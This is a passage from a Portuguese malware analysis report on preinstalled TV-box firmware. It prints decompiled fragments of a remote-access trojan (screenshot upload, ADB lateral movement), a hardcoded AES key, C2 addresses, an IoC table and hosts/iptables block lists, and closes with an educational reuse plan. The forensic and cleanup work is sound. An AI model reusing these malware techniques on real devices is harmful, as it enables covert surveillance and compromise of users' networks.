      [str] 'chmod 644 /data/local/tmp/scctmp.png'
      [call] Lcom/uv/droid/uota/utils/ProcessUtils;->execCmds(J[Ljava/lang/String;)Lcom/uv/droid/uota/
utils/ProcessUtils$ProcessResult;
      [str] '/data/local/tmp/scctmp.png'
      [call] Lcom/uv/droid/uota/log/test/ConnectionManager;->loadFile(Ljava/lang/String;)[B
      [str] 'sccr'
      [call] Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/
Emitter;
```

3. Chave AES-128 de `command.do`, Watchdog Mútuo e IP Fixo de C2:

- Em `OtaTaskSm$Installing.runScript()` e `AESUtils`, extraímos a chave **AES/CBC/PKCS5Padding** hardcoded usada para descriptografar `/sdcard/uota/script.zip -> command.do`:
  - **Chave AES-128 (`KEY`):** `XSiPLGG_JaTxyZ9yGR-eBw==`
  - **Vetor de Inicialização (`IV`):** `E7vgilUjL7UbrV0zu7mNIA==`
  - As linhas descriptografadas são executadas via `ProcessUtils.execCmds`, que invoca explicitamente o binário **`su`** (`COMMAND_SU = "su"` — execução com **UID 0 `root`**).
- Em `Constant.getOtaUrl()`, descobrimos o **IP fixo de C2 `http://158.69.220.68:2082`** (VPS na OVH) para contornar bloqueios de DNS, além do IP interno de desenvolvimento `http://192.168.199.188:2082` e do cabeçalho `Referer: http://vxmfc.com` em `OtaHelper.downloadFile()`.
- Em `uota.MyApplication` e `uotaback.MyApplication`, documentamos o *watchdog* mútuo via `ps -ef | grep`, onde um pacote ressuscita o outro caso apenas um seja finalizado.

4.4. Engenharia Reversa dos 3 `.dex` Ocultos do `QCast` (`com.qcode.ad_service_server`)

A descompilação integral do APK externo e dos 3 arquivos `.dex` ocultos dentro de

`assets/qcast_advertisement.zip` (`classes.dex`, `ad_service_sub_worker.dex` e `ad_service_sub_corner.dex`) revelou três capacidades críticas:

1. Proxy Residencial P2P (`TITAN_PLUGIN_DAEMON` / `io.titannetwork.service`):
As classes `PermanentPlugin.java`, `PluginDaemonTask.java` e `WorkerServiceImpl.java` explicam por que o `BootCompleteReceiver` preservava pastas `titan-*`: o módulo `ad_service_sub_worker.dex` baixa e carrega bibliotecas nativas `.so` do plugin **`TITAN_PLUGIN_DAEMON` (`io.titannetwork.service`)**, transformando a TV Box em um nó de saída da rede comercial **Titan Network** (venda de largura de banda e do IP residencial do usuário para terceiros).

2. Scanner ARP/CIDR de Rede Local e Movimento Lateral via ADB (`AdbConnect`):
No pacote `cn.qcast.process_utils`, as classes `DefaultDiscovery`, `ActivityDiscovery`, `HardwareAddress` e `AdbConnect` varrem todos os IPs da sub-rede local, extraem os endereços MAC de `/proc/net/arp` e invocam `adb connect <IP>:5555` e `adbRunCommandSync(cmd)` para executar comandos em outros dispositivos Android na mesma LAN:

```
=== CLASS Lcn/qcast/process_utils/AdbConnect; (source: AdbConnect.java) ===
  direct method: adbConnect(Ljava/lang/String;)Z
      [str] 'adb connect '
      [call] Lcn/qcast/process_utils/AdbConnect;->adbRunCommandSync(Ljava/lang/String;)Ljava/lang/String;
      [str] 'connected to'
      [str] 'already connected'
```

3. Instalação Silenciosa (`AssistInstall`), Hot-Swap (`DexUpdater`) e Fraude de Anúncios (`TimeGapControl`):

- `AssistInstall.java` consulta `http://filedata.qcast.cn/ad_service_config/assist_install_list.json` para instalar APKs silenciosamente via broadcast `com.qcode.update_service.up_app`;
- `DexUpdater.java` atualiza silenciosamente os próprios `.dex` via `http://launcher.cluster.qcast.cn/launcher/system-upgrade?category=ad-dex-upgrade-v2`;
- `TimeGapControl.java` contabiliza impressões falsas de anúncios em background (`QCAST_FAKE_STARTUP_AD`, `MANGO_FAKE_STARTUP_AD`, `COOCAA_FAKE_STARTUP_AD`, `JDP_FAKE_STARTUP_AD`, emitindo `"qcastData send fake log"`).

4.5. Descoberta da Fraude Hardcoded no Bytecode do `Settings.apk`

Ao corrigir `/system/build.prop` de `ro.build.version.release=11.1` para `7.0`, verificou-se que a tela **"Sobre o dispositivo"** do aplicativo Configurações (`Settings.apk`) continuava exibindo **"Versão do Android: 11.1"**. A engenharia reversa do `Settings.apk` (`/system/priv-app/Settings/Settings.apk`) revelou que os engenheiros do firmware adulteraram diretamente o método `onCreate` de `com/android/settings/DeviceInfoSettings.smali`:

```
# Lê a propriedade real Build.VERSION.RELEASE, mas logo abaixo ignora o valor e força a string literal
"11.1":
const-string v5, "os_version"
const-string v6, "11.1"
invoke-direct {p0, v5, v6}, Lcom/android/settings/DeviceInfoSettings;->setStringSummary(Ljava/lang/
String;Ljava/lang/String;)V
```

Isso comprova que a falsificação comercial foi implementada em **dupla camada**: tanto nas propriedades do sistema (`/system/build.prop`) quanto de forma estática (*hardcoded*) no bytecode compilado da interface gráfica.

4.6. Matriz Unificada de Indicadores de Comprometimento (IoCs — Etapas 1 a 4)

Tipo	Indicador (Domínio / IP / Chave)	Componente	Função Confirmada	Etapa
Domínio C2	`uota.uota.xyz` (TCP `2082`)	`UOTA` / `UOTABack`	Check-in OTA (`/api/common/ota/profile/v1`) e entrega de `script.zip` (`command.do`)	1 & 2
IP Fixo C2	`158.69.220.68` (TCP `2082`)	`UOTA` / `UOTABack`	Servidor C2 de fallback (VPS OVH) hardcoded em `Constant.getOtaUrl()`	**4**
Domínio RAT	`ds.b20.host` (WebSocket)	`UOTA` (`ConnectionManager`)	**Reverse Shell (`cmd`/`cmdb`), roubo de arquivos (`dld`) e print de tela (`scc`)**	**4**
Telemetria	`appmetrices.uota.xyz` (`2095`)	`UOTA` (`MonitorReceiver`)	Exfiltração de apps instalados/abertos e eventos IPTV (`liveipc://`) via `/els/postData2`	1 & 4
Referer Spoof	`vxmfc.com`	`UOTA` / `UOTABack`	Cabeçalho HTTP `Referer: http://vxmfc.com` em `OtaHelper.downloadFile()`	1 & 4
IP Dev Local	`192.168.199.188:2082`	`UOTA` / `UOTABack`	Servidor local da rede de desenvolvimento dos autores do malware	**4**
Chave AES	`XSiPLGG_JaTxyZ9yGR-eBw==`	`UOTA` (`AESUtils`)	Chave AES-128 CBC (IV: `E7vgilUjL7UbrV0zu7mNIA==`) para decifrar `command.do`	**4**
Domínio C2	`launcher.cluster.qcast.cn`	`QCast` (`DexUpdater`)	Hot-swap silencioso de `.dex` (`ad-dex-upgrade-v2`) e `.apk` (`ad-apk-upgrade`)	2 & 4
Dropper APK	`filedata.qcast.cn`	`QCast` (`AssistInstall`)	Lista JSON de APKs para instalação silenciosa (`/ad_service_config/assist_install_list.json`)	**4**
Ad / Logs	`ad-Stat.qcast.cn` / `log.qcast.cn`	`QCast`	Estatísticas de anúncios e logs de fraude (`*_FAKE_STARTUP_AD`)	2 & 4
Cloud Log	`qc-user-behavior.cn-hangzhou.log.aliyuncs.com`	`QCast`	Coleta de telemetria de uso na nuvem Alibaba Cloud	**4**
Cloud Log	`log-collector.cn-qingdao.log.aliyuncs.com`	`QCast`	Coleta de logs de execução e erros (`error-log-collector...`)	**4**
Ad SDKs	`open.ssp.zztgfh.com` / `s.mzfile.com`	`QCast` (`sub_worker.dex`)	Servidores de anúncios e SDKs chineses (Miaozhen / AdMaster `sdk.cdnmaster.com`)	**4**
AppStore	`appstore.bb20.site` / `alog.umeng.com`	`GetApps` (`flymarket`)	Backend da loja alternativa Aikeweida e telemetria Umeng/Tencent Bugly	1 & 2
Backdoor ELF	`/system/bin/qw`	`init.debug.rc`	Daemon root Koush Superuser com whitelist (`dragonbox`, `process_utils`, `/data/local/tmp`)	1, 2 & 4

4.7. Automação da Sanitização Nível 2 (`sanitizador_tvbox.sh`) e Prova Científica de Resiliência ao Factory Reset

Para tornar a limpeza definitiva e imune à formatação da partição `/data`, desenvolvemos o script automatizado **`sanitizador_tvbox.sh`**, que opera diretamente na partição `/system`:

1. Remonta `/system` em modo escrita (`rw`) preservando integralmente os módulos de kernel (`.ko`) e drivers específicos do lote (`xr819`, `ssv6051`, `esp8089`, `rtl8189etv`);

2. Expurga fisicamente de `/system/app/` e `/system/preinstall/` todos os pacotes maliciosos e coletores de fábrica (`UOTA_aikePro103`, `UOTABack_aikePro102`, `QCast_TV_ad_service_*`, `GetApps_203`, `FactoryStability`, `DragonBox`, `DragonAging`, `DragonSN`, `AtvRemoteService`, `AwLiveTv`, `AirScreen`);

3. Encerra e remove os binários ELF `/system/bin/qw` e `/system/bin/att_policy`, limpa a chamada `/system/bin/qw &` de `/system/bin/preinstall.sh` e injeta regra de firewall `iptables -I OUTPUT -d 158.69.220.68 -j DROP` em `/system/su.d/99_block_c2.sh`;

4. Grava o bloqueio (*sinkhole* `0.0.0.0`) de **25 domínios C2 e de telemetria** diretamente em `/system/etc/hosts`;

5. Corrige `/system/build.prop` para reportar a versão real **`Android 7.0`** ao ADB e às ferramentas de desenvolvimento, limpa resíduos em `/data` e `/sdcard` e emite um **Certificado Individual de Sanitização**.

Matriz Tripla do Experimento de Reset de Fábrica (`MASTER_CLEAR`)

Vetor de Auditoria	Estado 1 (Fábrica Original)	Estado 2 (Pós-Sanitização Nível 2)	Estado 3 (Pós-Reset de Fábrica)	Veredito
RAT `UOTA` e `UOTABack` (`/system/app`)	Ativos (`ConnectionManager` / `ds.b20.host`)	Deletados fisicamente	**Permaneceram ausentes (Não reinstalados)**	**IMUNE**
Dropper e Proxy Titan (`QCast`)	Ativo (`/system/preinstall/QCast_*`)	Deletado fisicamente	**Permaneceu ausente (Não reinstalado)**	**IMUNE**
Loja Ofuscada (`GetApps_203.apk`)	Ativo (`libjiagu.so`)	Deletado fisicamente	**Permaneceu ausente (Não reinstalado)**	**IMUNE**
Backdoor Root Nativo (`/system/bin/qw`)	Rodando como root (PID 1341)	Binário ELF excluído	**Não foi recriado**	**IMUNE**
Daemon Fraude AnTuTu (`att_policy`)	Rodando como root (PID 1393)	Binário ELF excluído	**Não foi recriado**	**IMUNE**
Sinkhole DNS (`/system/etc/hosts`)	Apenas `127.0.0.1 localhost`	25 domínios C2 bloqueados	**25 domínios mantidos intactos**	**IMUNE**
Regra Firewall (`/system/su.d/`)	Nenhuma	DROP para IP `158.69.220.68`	**Regra persistiu e foi recarregada**	**IMUNE**
Versão no `/system/build.prop`	`11.1` (Falsificada)	`7.0` (Real da API 24)	**Permaneceu `7.0`**	**IMUNE**
Memória RAM Livre em Repouso	~350 MB a 400 MB	**534 MB livres**	**520 MB livres**	**ESTÁVEL**

Evidências Brutas Extraídas no Estado 3 (Pós-Reset de Fábrica)

```
# 1. Verificação de processos maliciosos em execução após formatação de /data e /cache:
$ adb shell "ps | grep -E 'uota|qcode|flymarket|qw|att_policy' | grep -v grep"
(Nenhum processo encontrado)

# 2. Verificação da pasta /system/preinstall após o Reset de Fábrica:
$ adb shell "ls -la /system/preinstall"
total 16
drwxr-xr-x 2 root root 4096 1969-12-31 19:06 .
drwxr-xr-x 18 root root 4096 1969-12-31 19:15 ..

# 3. Verificação do /system/etc/hosts preservado após o Reset de Fábrica:
$ adb shell "head -n 12 /system/etc/hosts"
127.0.0.1 localhost
::1 ip6-localhost
0.0.0.0 uota.uota.xyz
0.0.0.0 appmetrices.uota.xyz
0.0.0.0 ds.b20.host
0.0.0.0 vxmfc.com
0.0.0.0 launcher.cluster.qcast.cn
0.0.0.0 filedata.qcast.cn
0.0.0.0 ad-Stat.qcast.cn
0.0.0.0 log.qcast.cn
```

Parte V — Proposta de Reaproveitamento Educacional em Fase de Testes (Projeto EduBox OS)

Responsável pela Proposta e Bancada de Testes: ***Olimpio***

> **NOTA DE STATUS — FASE EXPERIMENTAL DE TESTES E HOMOLOGAÇÃO:**
> Esta quinta etapa constitui uma proposta experimental em andamento derivada do sucesso da sanitização. **A escolha definitiva do Launcher (interface gráfica estilo Desktop/PC) e dos aplicativos educacionais listados abaixo encontra-se atualmente em fase de testes práticos**, nos quais estão sendo avaliados o consumo real de memória RAM, a fluidez na GPU Mali-400 e a estabilidade sobre a placa Allwinner H3 (1 GB RAM DDR3).

Com a unidade `dolphin-fvd-p1` completamente expurgada de malwares e dispondo de mais de **520 MB de RAM livre em repouso**, iniciou-se a fase de testes para converter essas TV Boxes sanitizadas em **micro-computadores educacionais de baixo custo (EduBox OS)** voltados a laboratórios e bancadas de estudo:

• **1. Base de Sistema Otimizada (Em Homologação sobre Android 7.0 API 24):** Mantém-se o kernel original da placa para preservar a decodificação de vídeo por hardware (CedarX H.264/H.265 a 1080p60 sem sobrecarregar a CPU) e os drivers Wi-Fi `xr819`, aplicando ajustes de `LowMemoryKiller`, `zRAM` e desativação de animações (`window_animation_scale = 0`).

• **2. Interface Gráfica Estilo PC / Desktop (Em Fase de Pesquisa e Testes):** Estão sendo testadas alternativas de *Launchers* ultraleves (< 15 MB de consumo de RAM) que ofereçam experiência similar a um computador desktop operável com mouse e teclado USB, descartando opções desatualizadas ou pesadas para o limite de 1 GB de RAM.

• **3. Candidatos de Aplicativos em Avaliação para a Bancada de Testes (ARMv7 / API 24):**

– *Reprodução de Vídeo-Aulas (Em teste):* **NewPipe** (avaliado por consumir ~60 MB de RAM com reprodução limpa em 720p/1080p via hardware);

– *Leitura de PDFs e Apostilas (Em teste):* **MuPDF viewer** (avaliado por operar em C nativo com ~8 MB de RAM);

– *Navegação Web Leve (Em teste):* **Via Browser / Bromite ARMv7** (em avaliação de consumo de memória com múltiplas abas);

– *Ambiente de Programação e Terminal Local (Em teste):* Emulador de terminal com binários estáticos ARMv7 (Python, compilador C leve, Git e editor em modo texto) em fase de validação.